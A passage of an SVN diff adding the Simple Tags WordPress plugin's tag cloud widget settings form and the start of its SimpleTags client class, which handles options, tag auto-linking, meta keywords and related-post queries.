+		$fields = array('title','max','selection','order','smini','smax','unit','format','color','cmini','cmax','xformat');
+
+		// Get actual options
+		$options = $newoptions = get_option('widget_stags_cloud');
+		if ( !is_array($options) ) {
+			$options = $newoptions = array();
+		}
+
+		// Post to new options array
+		if ( isset($_POST['widget-stags-submit-'.$number]) ) {
+			foreach ( (array) $fields as $field ) {
+				$newoptions[$number][$field] = strip_tags(stripslashes($_POST['widget-stags-'.$field.'-'.$number]));
+			}
+		}
+
+		// Update if new options
+		if ( $options != $newoptions ) {
+			$options = $newoptions;
+			update_option('widget_stags_cloud', $options);
+		}
+
+		// Prepare data for display
+		foreach ( (array) $fields as $field ) {
+			${$field} = attribute_escape($options[$number][$field]);		
+		}
+		
+		// Default values
+		$max = empty($max) ? '45' : $max;
+		$selection = empty($selection) ? 'count-desc' : $selection;
+		$order = empty($order) ? 'random' : $order;		
+		$smini = empty($smini) ? '8' : $smini;
+		$smax = empty($smax) ? '22' : $smax;
+		?>
+		<div>
+			<p><?php _e('Empty field will use default value.', 'simpletags'); ?></p>
+
+			<label for="widget-stags-title-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Title:', 'simpletags'); ?>
+				<input type="text" id="widget-stags-title-<?php echo $number; ?>" name="widget-stags-title-<?php echo $number; ?>" value="<?php echo $title; ?>" />
+			</label>
+
+			<label for="widget-stags-max-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Max tags to display: (default: 45)', 'simpletags'); ?>
+				<input size="20" type="text" id="widget-stags-max-<?php echo $number; ?>" name="widget-stags-max-<?php echo $number; ?>" value="<?php echo $max; ?>" />
+			</label>
+
+			<label for="widget-stags-selection-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Tags selection:', 'simpletags'); ?>
+				<select id="widget-stags-selection-<?php echo $number; ?>" name="widget-stags-selection-<?php echo $number; ?>">
+					<option <?php if ( $selection == 'name-asc' ) echo 'selected="selected"'; ?> value="name-asc"><?php _e('Alphabetical', 'simpletags'); ?></option>
+					<option <?php if ( $selection == 'name-desc' ) echo 'selected="selected"'; ?> value="name-desc"><?php _e('Inverse Alphabetical', 'simpletags'); ?></option>
+					<option <?php if ( $selection == 'count-desc' ) echo 'selected="selected"'; ?> value="count-desc"><?php _e('Most popular (default)', 'simpletags'); ?></option>
+					<option <?php if ( $selection == 'count-asc' ) echo 'selected="selected"'; ?> value="count-asc"><?php _e('Least used', 'simpletags'); ?></option>
+					<option <?php if ( $selection == 'random' ) echo 'selected="selected"'; ?> value="random"><?php _e('Random', 'simpletags'); ?></option>
+				</select>
+			</label>
+
+			<label for="widget-stags-order-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Order tags display:', 'simpletags'); ?>
+				<select id="widget-stags-order-<?php echo $number; ?>" name="widget-stags-order-<?php echo $number; ?>">
+					<option <?php if ( $order == 'name-asc' ) echo 'selected="selected"'; ?> value="name-asc"><?php _e('Alphabetical', 'simpletags'); ?></option>
+					<option <?php if ( $order == 'name-desc' ) echo 'selected="selected"'; ?> value="name-desc"><?php _e('Inverse Alphabetical', 'simpletags'); ?></option>
+					<option <?php if ( $order == 'count-desc' ) echo 'selected="selected"'; ?> value="count-desc"><?php _e('Most popular', 'simpletags'); ?></option>
+					<option <?php if ( $order == 'count-asc' ) echo 'selected="selected"'; ?> value="count-asc"><?php _e('Least used', 'simpletags'); ?></option>
+					<option <?php if ( $order == 'random' ) echo 'selected="selected"'; ?> value="random"><?php _e('Random (default)', 'simpletags'); ?></option>
+				</select>
+			</label>
+
+			<label for="widget-stags-smini-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Font size mini: (default: 8)', 'simpletags'); ?>
+				<input size="20"  type="text" id="widget-stags-smini-<?php echo $number; ?>" name="widget-stags-smini-<?php echo $number; ?>" value="<?php echo $smini; ?>" />
+			</label>
+
+			<label for="widget-stags-smax-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Font size max: (default: 22)', 'simpletags'); ?>
+				<input size="20" type="text" id="widget-stags-smax-<?php echo $number; ?>" name="widget-stags-smax-<?php echo $number; ?>" value="<?php echo $smax; ?>" />
+			</label>
+
+			<label for="widget-stags-unit-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Unit font size:', 'simpletags'); ?>
+				<select id="widget-stags-unit-<?php echo $number; ?>" name="widget-stags-unit-<?php echo $number; ?>">
+					<option <?php if ( $unit == 'pt' ) echo 'selected="selected"'; ?> value="pt"><?php _e('Point (default)', 'simpletags'); ?></option>
+					<option <?php if ( $unit == 'px' ) echo 'selected="selected"'; ?> value="px"><?php _e('Pixel', 'simpletags'); ?></option>
+					<option <?php if ( $unit == 'em' ) echo 'selected="selected"'; ?> value="em"><?php _e('Em', 'simpletags'); ?></option>
+					<option <?php if ( $unit == '%' ) echo 'selected="selected"'; ?> value="%"><?php _e('Pourcent', 'simpletags'); ?></option>
+				</select>
+			</label>
+
+			<label for="widget-stags-format-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Format:', 'simpletags'); ?>
+				<select id="widget-stags-format-<?php echo $number; ?>" name="widget-stags-format-<?php echo $number; ?>">
+					<option <?php if ( $format == 'flat' ) echo 'selected="selected"'; ?> value="flat"><?php _e('Flat (default)', 'simpletags'); ?></option>
+					<option <?php if ( $format == 'list' ) echo 'selected="selected"'; ?> value="list"><?php _e('List (UL/LI)', 'simpletags'); ?></option>
+				</select>
+			</label>
+
+			<label for="widget-stags-color-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<input type="checkbox" id="widget-stags-color-<?php echo $number; ?>" name="widget-stags-color-<?php echo $number; ?>" <?php if ( $color == 1 ) echo 'checked="checked"'; ?> value="1" />
+				<?php _e('Use auto color cloud:', 'simpletags'); ?>
+			</label>
+
+			<label for="widget-stags-cmini-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Font color mini: (default: #CCCCCC)', 'simpletags'); ?>
+				<input type="text" id="widget-stags-cmini-<?php echo $number; ?>" name="widget-stags-cmini-<?php echo $number; ?>" value="<?php echo $cmini; ?>" />
+			</label>
+
+			<label for="widget-stags-cmax-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Font color max: (default: #000000)', 'simpletags'); ?>
+				<input type="text" id="widget-stags-cmax-<?php echo $number; ?>" name="widget-stags-cmax-<?php echo $number; ?>" value="<?php echo $cmax; ?>" />
+			</label>
+
+			<label for="widget-stags-xformat-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Extended format: (advanced usage)', 'simpletags'); ?><br />
+				<input style="width: 100% !important;" type="text" id="widget-stags-xformat-<?php echo $number; ?>" name="widget-stags-xformat-<?php echo $number; ?>" value="<?php echo $xformat; ?>" />
+			</label>
+
+			<input type="hidden" name="widget-stags-submit-<?php echo $number; ?>" id="widget-stags-submit-<?php echo $number; ?>" value="1" />
+		</div>
+		<?php
+	}
+
+	function st_tag_cloud_setup() {
+		$options = $newoptions = get_option('widget_stags_cloud');
+		if ( isset($_POST['stags_cloud-number-submit']) ) {
+			$newoptions['number'] = (int) $_POST['stags_cloud-number'];
+			if ( $newoptions['number'] > 9 ) {
+				$newoptions['number'] = 9;
+			} elseif ( $newoptions['number'] < 1 ) {
+				$newoptions['number'] = 1;
+			}
+		}
+		if ( $options != $newoptions ) {
+			$options = $newoptions;
+			update_option('widget_stags_cloud', $options);
+			widget_st_tag_cloud_register($options['number']);
+		}
+	}
+
+	function st_tag_cloud_page() {
+		$options = get_option('widget_stags_cloud');
+		?>
+			<div class="wrap">
+				<form method="post">
+					<h2><?php _e('Simple Tags : Tag Cloud Widgets', 'simpletags'); ?></h2>
+					<p style="line-height: 30px;"><?php _e('How many tag cloud widgets would you like?', 'simpletags'); ?>
+						<select id="stags_cloud-number" name="stags_cloud-number" value="<?php echo $options['number']; ?>">
+							<?php for ( $i = 1; $i < 10; ++$i ) echo "<option value='$i' ".($options['number']==$i ? "selected='selected'" : '').">$i</option>"; ?>
+						</select>
+						<span class="submit"><input type="submit" name="stags_cloud-number-submit" id="stags_cloud-number-submit" value="<?php echo attribute_escape(__('Save', 'simpletags')); ?>" /></span></p>
+				</form>
+			</div>
+		<?php
+	}
+
+	function widget_st_tag_cloud_register() {
+		$options = get_option('widget_stags_cloud');
+		$widget_ops = array('classname' => 'widget_stags_cloud', 'description' => __( 'Your most used tags in cloud format with dynamic color and many options', 'simpletags') );
+		
+		$number = (int) $options['number'];
+		if ( $number < 1 ) {
+			$number = 1;
+		} elseif ( $number > 9 ) {
+			$number = 9;
+		}
+
+		for ( $i = 1; $i <= 9; $i++ ) {
+			wp_register_sidebar_widget('widget_stags-'.$i, sprintf(__('ST: Tag Cloud %d', 'simpletags'), $i), $i <= $number ? 'widget_st_tag_cloud' : '', $widget_ops, $i);
+			wp_register_widget_control('widget_stags-'.$i, sprintf(__('ST: Tag Cloud %d', 'simpletags'), $i), $i <= $number ? 'widget_st_tag_cloud_control' : '', array(), $i);
+		}
+
+		add_action('sidebar_admin_setup', 'st_tag_cloud_setup');
+		add_action('sidebar_admin_page', 'st_tag_cloud_page');
+	}
+
+	// Launch Widgets
+	widget_st_tag_cloud_register();
+}
+
+// Initialize !
+widget_st_tag_cloud_init();
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/simple-tags.client.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/simple-tags.client.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/simple-tags.client.php	(revision 44)
@@ -0,0 +1,2150 @@
+<?php
+Class SimpleTags {
+	var $version = '1.5.7';
+
+	var $info;
+	var $options;
+	var $default_options;
+	var $db_options = 'simpletags';
+	var $dateformat;
+
+	// Stock Post ID for current view
+	var $posts = array();
+	var $tags_currentposts = array();
+	var $link_tags = 'null';
+
+	// WP Object Cache
+	var $use_cache = false;
+
+	/**
+	 * PHP4 constructor - Initialize ST
+	 *
+	 * @return SimpleTags
+	 */
+	function SimpleTags() {
+		// Determine installation path & url
+		$path = str_replace('\\','/',dirname(__FILE__));
+		$path = substr($path, strpos($path, 'plugins') + 8, strlen($path));
+
+		$info['siteurl'] = get_option('siteurl');
+		if ( $this->isMuPlugin() ) {
+			$info['install_url'] = $info['siteurl'] . '/wp-content/mu-plugins';
+			$info['install_dir'] = ABSPATH . 'wp-content/mu-plugins';
+
+			if ( $path != 'mu-plugins' ) {
+				$info['install_url'] .= '/' . $path;
+				$info['install_dir'] .= '/' . $path;
+			}
+		} else {
+			$info['install_url'] = $info['siteurl'] . '/wp-content/plugins';
+			$info['install_dir'] = ABSPATH . 'wp-content/plugins';
+
+			if ( $path != 'plugins' ) {
+				$info['install_url'] .= '/' . $path;
+				$info['install_dir'] .= '/' . $path;
+			}
+		}
+
+		// Set informations
+		$this->info = array(
+		'home' => get_option('home'),
+		'siteurl' => $info['siteurl'],
+		'install_url' => $info['install_url'],
+		'install_dir' => $info['install_dir']
+		);
+		unset($info);		
+		
+		// Localization
+		$locale = get_locale();
+		if ( !empty( $locale ) ) {
+			$mofile = str_replace('/2.5', '', $this->info['install_dir']).'/languages/simpletags-'.$locale.'.mo';
+			load_textdomain('simpletags', $mofile);
+		}
+
+		// Options
+		$default_options = array(
+		// General
+		'use_tag_pages' => 1,
+		'allow_embed_tcloud' => 0,
+		'auto_link_tags' => 0,
+		'auto_link_min' => 1,
+		'auto_link_case' => 1,
+		'no_follow' => 0,
+		// Administration
+		'use_click_tags' => 1,
+		'use_suggested_tags' => 1,
+		'use_autocompletion' => 1,
+		// Embedded Tags
+		'use_embed_tags' => 0,
+		'start_embed_tags' => '[tags]',
+		'end_embed_tags' => '[/tags]',
+		// Related Posts
+		'rp_feed' => 0,
+		'rp_embedded' => 'no',
+		'rp_order' => 'count-desc',
+		'rp_limit_qty' => 5,
+		'rp_notagstext' => __('No related posts.', 'simpletags'),
+		'rp_title' => __('<h4>Related posts</h4>', 'simpletags'),
+		'rp_xformat' => __('<a href="%post_permalink%" title="%post_title% (%post_date%)">%post_title%</a> (%post_comment%)', 'simpletags'),
+		'rp_adv_usage' => '',
+		// Tag cloud
+		'cloud_selection' => 'count-desc',
+		'cloud_sort' => 'random',
+		'cloud_limit_qty' => 45,
+		'cloud_notagstext' => __('No tags.', 'simpletags'),
+		'cloud_title' => __('<h4>Tag Cloud</h4>', 'simpletags'),
+		'cloud_format' => 'flat',
+		'cloud_xformat' => __('<a href="%tag_link%" id="tag-link-%tag_id%" class="st-tags t%tag_scale%" title="%tag_count% topics" %tag_rel% style="%tag_size% %tag_color%">%tag_name%</a>', 'simpletags'),
+		'cloud_max_color' => '#000000',
+		'cloud_min_color' => '#CCCCCC',
+		'cloud_max_size' => 22,
+		'cloud_min_size' => 8,
+		'cloud_unit' => 'pt',
+		'cloud_inc_cats' => 0,
+		'cloud_adv_usage' => '',
+		// The tags
+		'tt_feed' => 0,
+		'tt_embedded' => 'no',
+		'tt_separator' => ', ',
+		'tt_before' => __('Tags: ', 'simpletags'),
+		'tt_after' => '<br />',
+		'tt_notagstext' => __('No tags for this post.', 'simpletags'),
+		'tt_number' => 0,
+		'tt_inc_cats' => 0,
+		'tt_xformat' => __('<a href="%tag_link%" title="%tag_name%" %tag_rel%>%tag_name%</a>', 'simpletags'),
+		'tt_adv_usage' => '',
+		// Related tags
+		'rt_number' => 5,
+		'rt_order' => 'count-desc',
+		'rt_separator' => ' ',
+		'rt_format' => 'list',
+		'rt_method' => 'OR',
+		'rt_title' => __('<h4>Related tags</h4>', 'simpletags'),
+		'rt_notagstext' => __('No related tags found.', 'simpletags'),
+		'rt_xformat' => __('<span>%tag_count%</span> <a href="%tag_link_add%">+</a> <a href="%tag_link%">%tag_name%</a>', 'simpletags'),
+		// Remove related tags
+		'rt_remove_separator' => ' ',
+		'rt_remove_format' => 'list',
+		'rt_remove_notagstext' => ' ',
+		'rt_remove_xformat' => __('&raquo; <a href="%tag_link_remove%" title="Remove %tag_name_attribute% from search">Remove %tag_name%</a>', 'simpletags'),
+		// Meta keywords
+		'meta_autoheader' => 1,
+		'meta_always_include' => '',
+		'meta_keywords_qty' => 0,
+		// Auto tags
+		'use_auto_tags' => 0,
+		'at_all' => 0,
+		'at_empty' => 0,
+		'auto_list' => ''
+		);
+
+		// Set class property for default options
+		$this->default_options = $default_options;
+
+		// Get options from WP options
+		$options_from_table = get_option( $this->db_options );
+
+		// Update default options by getting not empty values from options table
+		foreach( (array) $default_options as $default_options_name => $default_options_value ) {
+			if ( !is_null($options_from_table[$default_options_name]) ) {
+				if ( is_int($default_options_value) ) {
+					$default_options[$default_options_name] = (int) $options_from_table[$default_options_name];
+				} else {
+					$default_options[$default_options_name] = $options_from_table[$default_options_name];
+				}
+			}
+		}
+
+		// Set the class property and unset no used variable
+		$this->options = $default_options;
+		
+		// Clean memory
+		$default_options = array();
+		$options_from_table = array();
+		unset($default_options);
+		unset($options_from_table);
+		unset($default_options_value);
+
+		// Use WP Object ? Or not ?
+		global $wp_object_cache;
+		$this->use_cache = ( $wp_object_cache->cache_enabled === true ) ? true : false;
+
+		// Set date for class
+		$this->dateformat = get_option('date_format');
+
+		// Add pages in WP_Query
+		if ( $this->options['use_tag_pages'] == 1 ) {
+			// Remove default taxonomy
+			global $wp_taxonomies;
+			unset($wp_taxonomies['post_tag']);
+			// Add the same taxonomy with an another callback who allow page and post
+			register_taxonomy( 'post_tag', 'post', array('hierarchical' => false, 'update_count_callback' => array(&$this, '_update_post_and_page_term_count')) );
+			add_filter('posts_where', array(&$this, 'prepareQuery'));
+		}
+
+		// Remove embedded tags in posts display
+		if ( $this->options['use_embed_tags'] == 1 ) {
+			add_filter('the_content', array(&$this, 'filterEmbedTags'), 0);
+		}
+
+		// Add related posts in post ( all / feedonly / blogonly / homeonly / singularonly / singleonly / pageonly /no )
+		if ( $this->options['tt_embedded'] != 'no' || $this->options['tt_feed'] == 1 ) {
+			add_filter('the_content', array(&$this, 'inlinePostTags'), 999992);
+		}
+
+		// Add post tags in post ( all / feedonly / blogonly / homeonly / singularonly / singleonly / pageonly /no )
+		if ( $this->options['rp_embedded'] != 'no' || $this->options['rp_feed'] == 1 ) {
+			add_filter('the_content', array(&$this, 'inlineRelatedPosts'), 999993);
+		}
+
+		// Embedded tag cloud
+		if ( $this->options['allow_embed_tcloud'] == 1 ) {
+			add_filter('the_content', array(&$this, 'inlineTagCloud'));
+		}
+
+		// Stock Posts ID (useful for autolink and metakeywords)
+		add_filter( 'the_posts', array(&$this, 'getPostIds') );
+
+		// Add keywords to header
+		if ( ( $this->options['meta_autoheader'] == 1 && !class_exists('All_in_One_SEO_Pack') && apply_filters('st_meta_header', true) ) ) {
+			add_action('wp_head', array(&$this, 'outputMetaKeywords'));
+		}
+
+		// Auto link tags
+		if ( $this->options['auto_link_tags'] == '1' ) {
+			add_filter('the_content', array(&$this, 'autoLinkTags'), 12);
+		}
+		return true;
+	}
+
+	/**
+	 * Get links for each tag for auto link feature
+	 *
+	 */
+	function prepareAutoLinkTags() {
+		$this->getTagsFromCurrentPosts();
+
+		$auto_link_min = (int) $this->options['auto_link_min'];
+		if ( $auto_link_min == 0 ) {
+			$auto_link_min = 1;
+		}
+
+		$this->link_tags = array();
+		foreach ( (array) $this->tags_currentposts as $term ) {
+			if ( $term->count >= $auto_link_min ) {
+				$this->link_tags[$term->name] = clean_url(get_tag_link( $term->term_id ));
+			}
+		}
+		return true;
+	}
+
+	/**
+	 * Replace text by link to tag
+	 *
+	 * @param string $content
+	 * @return string
+	 */
+	function autoLinkTags( $content = '' ) {
+		// Get currents tags if no exists
+		if ( $this->link_tags == 'null' ) {
+			$this->prepareAutoLinkTags();
+		}
+
+		// HTML Rel (tag/no-follow)
+		$rel = $this->buildRel( $this->options['no_follow'] );
+
+		// only continue if the database actually returned any links
+		if ( isset($this->link_tags) && is_array($this->link_tags) && count($this->link_tags) > 0 ) {
+			$must_tokenize = TRUE; // will perform basic tokenization
+			$tokens = NULL; // two kinds of tokens: markup and text
+
+			$case = ( $this->options['auto_link_case'] == 1 ) ? 'i' : '';
+
+			foreach ( (array) $this->link_tags as $term_name => $term_link ) {
+				$filtered = ""; // will filter text token by token
+				$match = "/\b" . preg_quote($term_name, "/") . "\b/".$case;
+				$substitute = '<a href="'.$term_link.'" class="st_tag internal_tag" '.$rel.' title="'. attribute_escape( sprintf( __('Posts tagged with %s', 'simpletags'), $term_name ) )."\">$0</a>";
+
+				// for efficiency only tokenize if forced to do so
+				if ( $must_tokenize ) {
+					// this regexp is taken from PHP Markdown by Michel Fortin: http://www.michelf.com/projects/php-markdown/
+					$comment = '(?s:<!(?:--.*?--\s*)+>)|';
+					$processing_instruction = '(?s:<\?.*?\?>)|';
+					$tag = '(?:<[/!$]?[-a-zA-Z0-9:]+\b(?>[^"\'>]+|"[^"]*"|\'[^\']*\')*>)';
+
+					$markup = $comment . $processing_instruction . $tag;
+					$flags = PREG_SPLIT_DELIM_CAPTURE;
+					$tokens = preg_split("{($markup)}", $content, -1, $flags);
+					$must_tokenize = FALSE;
+				}
+
+				// there should always be at least one token, but check just in case
+				if ( isset($tokens) && is_array($tokens) && count($tokens) > 0 ) {
+					$i = 0;
+					foreach ($tokens as $token) {
+						if (++$i % 2 && $token != '') { // this token is (non-markup) text
+							if ($anchor_level == 0) { // linkify if not inside anchor tags
+								if ( preg_match($match, $token) ) { // use preg_match for compatibility with PHP 4
+									$token = preg_replace($match, $substitute, $token); // only PHP 5 supports calling preg_replace with 5 arguments
+									$must_tokenize = TRUE; // re-tokenize next time around
+								}
+							}
+						}
+						else { // this token is markup
+							if ( preg_match("#<\s*a\s+[^>]*>#i", $token) ) { // found <a ...>
+								$anchor_level++;
+							} elseif ( preg_match("#<\s*/\s*a\s*>#i", $token) ) { // found </a>
+								$anchor_level--;
+							}
+						}
+						$filtered .= $token; // this token has now been filtered
+					}
+					$content = $filtered; // filtering completed for this link
+				}
+			}
+		}
+
+		return $content;
+	}
+
+	/**
+	 * Replace marker by a tag cloud in post content
+	 *
+	 * @param string $content
+	 * @return string
+	 */
+	function inlineTagCloud( $content = '' ) {
+		if ( strpos($content, '<!--st_tag_cloud-->') ) {
+			$content = str_replace('<!--st_tag_cloud-->', $this->extendedTagCloud( '', false ), $content);
+		}
+		return $content;
+	}
+
+	/**
+	 * Stock posts ID as soon as possible
+	 *
+	 * @param array $posts
+	 * @return array
+	 */
+	function getPostIds( $posts = array() ) {
+		if ( !empty($posts) && is_array($posts) ) {
+			foreach( (array) $posts as $post) {
+				$this->posts[] = $post->ID;
+			}
+		}
+		return $posts;
+	}
+
+	/**
+	 * Get tags from current post views
+	 *
+	 * @return boolean
+	 */
+	function getTagsFromCurrentPosts() {
+		if ( is_array($this->posts) && count($this->posts) > 0 ) {
+			// Generate SQL from post id
+			$postlist = implode( "', '", $this->posts );
+
+			if ( $this->use_cache === true ) { // Use cache
+				// Generate key cache
+				$key = md5(maybe_serialize($postlist));
+				// Get cache if exist
+				if ( $cache = wp_cache_get( 'generate_keywords', 'simpletags' ) ) {
+					if ( isset( $cache[$key] ) ) {
+						$this->tags_currentposts = $cache[$key];
+						return true;
+					}
+				}
+			}
+
+			// If cache not exist, get datas and set cache
+			global $wpdb;
+			$results = $wpdb->get_results("
+				SELECT t.name AS name, t.term_id AS term_id, tt.count AS count
+				FROM {$wpdb->term_relationships} AS tr
+				INNER JOIN {$wpdb->term_taxonomy} AS tt ON (tr.term_taxonomy_id = tt.term_taxonomy_id)
+				INNER JOIN {$wpdb->terms} AS t ON (tt.term_id = t.term_id)
+				WHERE tt.taxonomy = 'post_tag'
+				AND ( tr.object_id IN ('{$postlist}') )
+				GROUP BY t.term_id
+				ORDER BY tt.count DESC");
+
+			if ( $this->use_cache === true ) { // Use cache
+				$cache[$key] = $results;
+				wp_cache_set('generate_keywords', $cache, 'simpletags');
+			}
+
+			$this->tags_currentposts = $results;
+			unset($results, $key);
+		}
+		return true;
+	}
+
+	/**
+	 * Generate keywords for meta data
+	 *
+	 * @return string
+	 */
+	function generateKeywords() {
+		// Get tags for current posts
+		if ( empty($this->tags_currentposts) ) {
+			$this->getTagsFromCurrentPosts();
+		}
+
+		$results = array();
+		foreach ( (array) $this->tags_currentposts as $term ) {
+			$results[] = $term->name;
+		}
+		unset($this->tags_currentposts);
+
+		$always_list = trim($this->options['meta_always_include']); // Static keywords
+		$always_array = (array) explode(',', $always_list);
+
+		// Trim
+		foreach ( $always_array as $keyword ) {
+			if ( empty($keyword) ) {
+				continue;
+			}
+			$results[] = trim($keyword);
+		}
+		unset($always_list, $always_array);
+
+		// Unique keywords
+		$results = array_unique($results);
+
+		// Return if empty
+		if ( empty($results) ) {
+			return '';
+		}
+
+		// Limit to max quantity if set
+		$number = (int) $this->options['meta_keywords_qty'];
+		if ( $number != 0 && is_array($results) && !empty($results) && count($results) > 1 ) {
+			shuffle($results); // Randomize keywords
+			$results = array_slice( $results, 0, $number );
+		}
+
+		return strip_tags(implode(', ', $results));
+	}
+
+	/**
+	 * Display meta keywords
+	 *
+	 */
+	function outputMetaKeywords() {
+		$terms_list = $this->generateKeywords();
+		if ( !empty($terms_list) ) {
+			echo "\n\t" . '<!-- Generated by Simple Tags ' . $this->version . ' - http://wordpress.org/extend/plugins/simple-tags -->' ."\n\t". '<meta name="keywords" content="' . $terms_list . '" />' ."\n";
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Auto add related posts to post content
+	 *
+	 * @param string $content
+	 * @return string
+	 */
+	function inlineRelatedPosts( $content = '' ) {
+		$marker = false;
+		if ( is_feed() ) {
+			if ( $this->options['rp_feed'] == '1' ) {
+				$marker = true;
+			}
+		} else {
+			switch ( $this->options['rp_embedded'] ) {
+				case 'blogonly' :
+					$marker = ( is_feed() ) ? false : true;
+					break;
+				case 'homeonly' :
+					$marker = ( is_home() ) ? true : false;
+					break;
+				case 'singularonly' :
+					$marker = ( is_singular() ) ? true : false;
+					break;
+				case 'singleonly' :
+					$marker = ( is_single() ) ? true : false;
+					break;
+				case 'pageonly' :
+					$marker = ( is_page() ) ? true : false;
+					break;
+				case 'all' :
+					$marker = true;
+					break;
+				case 'no' :
+				default:
+					$marker = false;
+					break;
+			}
+		}
+
+		if ( $marker === true ) {
+			return ( $content . $this->relatedPosts( '', false ) );
+		}
+		return $content;
+	}
+
+	/**
+	 * Auto add current tags post to post content
+	 *
+	 * @param string $content
+	 * @return string
+	 */
+	function inlinePostTags( $content = '' ) {
+		$marker = false;
+		if ( is_feed() ) {
+			if ( $this->options['tt_feed'] == '1' ) {
+				$marker = true;
+			}
+		} else {
+			switch ( $this->options['tt_embedded'] ) {
+				case 'blogonly' :
+					$marker = ( is_feed() ) ? false : true;
+					break;
+				case 'homeonly' :
+					$marker = ( is_home() ) ? true : false;
+					break;
+				case 'singularonly' :
+					$marker = ( is_singular() ) ? true : false;
+					break;
+				case 'singleonly' :
+					$marker = ( is_single() ) ? true : false;
+					break;
+				case 'pageonly' :
+					$marker = ( is_page() ) ? true : false;
+					break;
+				case 'all' :
+					$marker = true;
+					break;
+				case 'no' :
+				default:
+					$marker = false;
+					break;
+			}
+		}
+
+		if ( $marker === true ) {
+			return ( $content . $this->extendedPostTags( '', false ) );
+		}
+		return $content;
+	}
+
+	/**
+	 * Generate related posts
+	 *
+	 * @param string $user_args
+	 * @return string|array
+	 */
+	function relatedPosts( $user_args = '', $copyright = true ) {
+		$defaults = array(
+		'number' => 5,
+		'order' => 'count-desc',
+		'format' => 'list',
+		'separator' => '',
+		'include_page' => 'true',
+		'include_cat' => '',
+		'exclude_posts' => '',
+		'exclude_tags' => '',
+		'post_id' => 0,
+		'excerpt_wrap' => 55,
+		'limit_days' => 0,
+		'min_shared' => 1,
+		'title' => __('<h4>Related posts</h4>', 'simpletags'),
+		'nopoststext' => __('No related posts.', 'simpletags'),
+		'dateformat' => $this->dateformat,
+		'xformat' => __('<a href="%post_permalink%" title="%post_title% (%post_date%)">%post_title%</a> (%post_comment%)', 'simpletags')
+		);
+
+		// Get values in DB
+		$defaults['number'] = $this->options['rp_limit_qty'];
+		$defaults['order'] = $this->options['rp_order'];
+		$defaults['nopoststext'] = $this->options['rp_notagstext'];
+		$defaults['title'] = $this->options['rp_title'];
+		$defaults['xformat'] = $this->options['rp_xformat'];
+
+		if( empty($user_args) ) {
+			$user_args = $this->options['rp_adv_usage'];
+		}
+
+		// Replace old markers by new
+		$markers = array('%date%' => '%post_date%', '%permalink%' => '%post_permalink%', '%title%' => '%post_title%', '%commentcount%' => '%post_comment%', '%tagcount%' => '%post_tagcount%', '%postid%' => '%post_id%');
+		$user_args = strtr($user_args, $markers);
+
+		$args = wp_parse_args( $user_args, $defaults );
+		extract($args);
+
+		// If empty use default xformat !
+		if ( empty($xformat) ) {
+			$xformat = $defaults['xformat'];
+		}
+
+		// Clean memory
+		$args = array();
+		$defaults = array();
+
+		// Get current post data
+		$object_id = (int) $post_id;
+		if ( $object_id == 0 ) {
+			global $post;
+			$object_id = (int) $post->ID;
+			if ( $object_id == 0 ) {
+				return false;
+			}
+		}
+
+		// Get cache if exist
+		$results = false;
+		if ( $this->use_cache === true ) { // Use cache
+			// Generate key cache
+			$key = md5(maybe_serialize($user_args.'-'.$object_id));
+
+			if ( $cache = wp_cache_get( 'related_posts', 'simpletags' ) ) {
+				if ( isset( $cache[$key] ) ) {
+					$results = $cache[$key];
+				}
+			}
+		}
+
+		// If cache not exist, get datas and set cache
+		if ( $results === false || $results === null ) {
+			// Get get tags
+			$current_tags = get_the_tags( (int) $object_id );
+
+			if ( $current_tags === false ) {
+				return $this->outputContent( 'st-related-posts', $format, $title, $nopoststext, $copyright );
+			}
+
+			// Number - Limit
+			$number = (int) $number;
+			if ( $number == 0 ) {
+				$number = 5;
+			} elseif( $number > 50 ) {
+				$number = 50;
+			}
+			$limit_sql = 'LIMIT 0, '.$number;
+			unset($number);
+
+			// Order tags before output (count-asc/count-desc/date-asc/date-desc/name-asc/name-desc/random)
+			$order_by = '';
+			$order = strtolower($order);
+			switch ( $order ) {
+				case 'count-asc':
+					$order_by = 'counter ASC, p.post_title DESC';
+					break;
+				case 'random':
+					$order_by = 'RAND()';
+					break;
+				case 'date-asc':
+					$order_by = 'p.post_date ASC';
+					break;
+				case 'date-desc':
+					$order_by = 'p.post_date DESC';
+					break;
+				case 'name-asc':
+					$order_by = 'p.post_title ASC';
+					break;
+				case 'name-desc':
+					$order_by = 'p.post_title DESC';
+					break;
+				default: // count-desc
+				$order_by = 'counter DESC, p.post_title DESC';
+				break;
+			}
+
+			// Limit days - 86400 seconds = 1 day
+			$limit_days = (int) $limit_days;
+			$limit_days_sql = '';
+			if ( $limit_days != 0 ) {
+				$limit_days_sql = 'AND p.post_date > "' .date( 'Y-m-d H:i:s', time() - $limit_days * 86400 ). '"';
+			}
+			unset($limit_days);
+
+			// Include_page
+			$include_page = strtolower($include_page);
+			if ( $include_page == 'true' ) {
+				$restrict_sql = "AND p.post_type IN ('page', 'post')";
+			} else {
+				$restrict_sql = "AND p.post_type = 'post'";
+			}
+			unset($include_page);
+
+			// Restrict posts
+			$exclude_posts_sql = '';
+			if ( $exclude_posts != '' ) {
+				$exclude_posts = (array) explode(',', $exclude_posts);
+				$exclude_posts = array_unique($exclude_posts);
+				$exclude_posts_sql = "AND p.ID NOT IN (";
+				foreach ( $exclude_posts as $value ) {
+					$value = (int) $value;
+					if( $value > 0 && $value != $object_id ) {
+						$exclude_posts_sql .= '"'.$value.'", ';
+					}
+				}
+				$exclude_posts_sql .= '"'.$object_id.'")';
+			} else {
+				$exclude_posts_sql = "AND p.ID <> {$object_id}";
+			}
+			unset($exclude_posts);
+
